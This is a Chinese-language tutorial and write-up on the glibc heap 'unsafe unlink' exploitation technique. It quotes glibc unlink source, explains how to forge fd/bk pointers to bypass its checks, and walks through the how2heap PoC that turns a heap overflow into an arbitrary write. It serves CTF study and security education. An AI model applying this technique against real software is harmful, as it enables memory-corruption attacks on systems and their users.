文章目录
unlink
运行机制
在题目中,一般发生在前向合并中利用unlink的情况比较多,情况如下:
假设已经存在两个块chunk0和chunk1,chunk0已经free掉了(chunk0可以是伪造的块),chunk1是其物理上相邻且正在使用的块。
对chunk1的free操作会触发unlink,如果能够通过溢出漏洞修改chunk0和chunk1中的内容,则可以将chunk0中提前布置好的目标地址tar_ptr指向的内容修改为tar_ptr附近的地址。
-
具体思路:
- 修改chunk0的fd为 tar_ptr - 0x18(ptr为目的地址,一般是全局数组)
- 修改chunk0的bk为 tar_ptr- 0x10
- 修改next_chunk的pre_size为chunk0的size
- 修改next_chunk的prev_inuse为0(如果需要的话)
- 触发unlink
结果就是tar_ptr处的指针指向的内容会变成tar_ptr- 0x18
如果控制了tar_ptr指针附近的修改权限,那么就可以完成地址任写了
源码分析
- 在free操作时,会对相邻chunk进行检查,如果有空闲块,会执行合并操作,这时候就调用了unlink
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size whileconsolidating");
unlink_chunk (av, p);
}
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
/* consolidate forward */
if (!nextinuse) {
unlink_chunk (av, nextchunk);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
从中可以看出free过程中会调用unlink宏对空闲块进行合并。
有两种合并,后向(低地址)合并和前向(高地址)合并。
- 跟进unlink,unlink被定义为一个宏(因为使用次数过多),下面是其源码部分
/* Take a chunk off a bin list */
// unlink p
#define unlink(AV, P, BK, FD) {
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
FD = P->fd;
BK = P->bk;
// 防止攻击者简单篡改空闲的 chunk 的 fd 与 bk 来实现任意写的效果。
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
// 下面主要考虑 P 对应的 nextsize 双向链表的修改
if (!in_smallbin_range (chunksize_nomask (P))
// 如果P->fd_nextsize为 NULL,表明 P 未插入到 nextsize 链表中。
// 那么其实也就没有必要对 nextsize 字段进行修改了。
// 这里没有去判断 bk_nextsize 字段,可能会出问题。
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
// 类似于小的 chunk 的检查思路
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
// 这里说明 P 已经在 nextsize 链表中了。
// 如果 FD 没有在 nextsize 链表中
if (FD->fd_nextsize == NULL) {
// 如果 nextsize 串起来的双链表只有 P 本身,那就直接拿走 P
// 令 FD 为 nextsize 串起来的
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
// 否则我们需要将 FD 插入到 nextsize 形成的双链表中
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
// 如果在的话,直接拿走即可
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
- 一般对unlink的利用都是在smallbin和unsortedbin,所以我们只需要关注对fd、bk链表的操作
#define unlink(AV, P, BK, FD) {
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
FD = P->fd;
BK = P->bk;
// 防止攻击者简单篡改空闲的 chunk 的 fd 与 bk 来实现任意写的效果。
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
- 可以看到在修改链表前,对链表进行了两次检查
//第一次检查next_chunk的pre_size和size字段是否相等
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
//第二次检查
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
如果想要触发unlink必须对这两个检查进行绕过
第一次的绕过只需要让next_chunk的prev_size修改为要unlink掉的块chunk_P的size
第二次需要修改要unlink掉chunk_P的fd为
目的地址-0x18
、bk修改为目的地址-0x10
- unlink使用的时机(具体流程还需要阅读一下源码)
- malloc
- 从恰好大小合适的 large bin 中获取 chunk。
-
free(一般在这里用的比较多)
- 后向合并,合并物理相邻低地址空闲 chunk。
- 前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)
- malloc_consolidate
- 后向合并,合并物理相邻低地址空闲 chunk。
- 前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)
- realloc
- 前向扩展,合并物理相邻高地址空闲 chunk(除了 top chunk)
- malloc
how2heap PoC测试
- PoC代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
printf("Unlink测试!\n");
printf("在Ubuntu 14.04/16.04 64位测试。\n");
printf("这个技术往往在你拥有一个已知地址的指针且已知其指向位置时使用。\n");
printf("最可能发生的场景时有一个堆溢出漏洞且拥有一个全局指针。\n");
int malloc_size = 0x80; //0x80是为了不让它进fastbin,fastbin没有unlink机制
int header_size = 2;
printf("Unlink的关键是通过free操作来修改全局指针chunk0_ptr来实现地址任写\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("全局指针 chunk0_ptr 在 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);
printf("我们准备攻击的victim chunk在 %p\n\n", chunk1_ptr);
printf("在 chunk0 创建一个伪造的块\n");
printf("设置 fake chunk的fd 指向全局指针chunk0_ptr的地址 &chunk0_ptr 附近, 来使 P->fd->bk = P, 用来绕过unlink的第二个检查\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("同理,修改bk,绕过检测\n");
printf("完成了两部修改后,可以通过unlink检测: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("假设chunk0中有个溢出漏洞所以我们能随意修改chunk1的内容\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("修改pre_size为0x80,恰好为fake_chunk的size\n");
chunk1_hdr[0] = malloc_size;
printf("同时为了伪造fake_chunk已经被free掉,要修改chunk1的pre_inuse位为0\n\n");
chunk1_hdr[1] &= ~1;
printf("现在我们释放chunk1,会执行后向合并,unlink掉fake_chunk并覆写全局指针chun0_ptr\n");
free(chunk1_ptr);
printf("现在我们能使用chunk0_ptr来覆写自身来指向一个任意的位置\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
printf("现在chunk0_ptr想咋用咋用,我们用它来覆写我们的victim string.\n");
printf("原来的string: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("新的string: %s\n",victim_string);
// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}
- 调试过程
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
- 绕过unlink检测:
(P->fd->bk != P || P->bk->fd != P) == False
可以看到,chunk0_ptr的地址在0x602078,我们已经在fake_chunk的fd、bk字段布置好了chunk0_ptr - 0x18 和chunk0_ptr - 0x10
现在可以通过第二个unlink检测了
这一步通常是通过对chunk0的溢出来对chunk1进行覆写
chunk1_hdr[0] = malloc_size;
chunk1_hdr[1] &= ~1;
如上图,已经完成了chunk1的修改,可以通过第一个unlink检测了
free(chunk1_ptr);
可以看到fake_chunk的size字段,已经成了 0x80 + 0x90 + 0x20ee1 = 0x20ff1,合并操作已经执行完,fake_chunk和chunk1和top_chunk已经合并了
观察一下,全局数组chunk0_ptr处的变化
可以看到,chunk0_ptr指向内容已经变成chunk0_ptr地址-0x18,这和我们预测的unlink执行完毕后一致
如果我们能控制chunk0_ptr指针,则只需要加上0x18的偏移,就可以随意修改chunk0_ptr指针指向内容到任意位置
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;//这里修改chunk0_ptr为victim_string的地址
printf("原来的string: %s\n",victim_string);
- 修改chunk0_ptr为victim_string的地址,在修改字符串前,可以看到里面的字符串为
"Hello!~"
对chunk0_ptr指向内容进行修改
chunk0_ptr[0] = 0x4141414142424242LL;//小段存储,41为A的阿斯克码,42为B的阿斯克码
printf("新的string: %s\n",victim_string)
利用完成
参考资料
[1] how2heap:
https://github.com/shellphish/how2heap/blob/master/glibc_2.23/unsafe_unlink.c
[2] Ctf-wiki unlink:
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink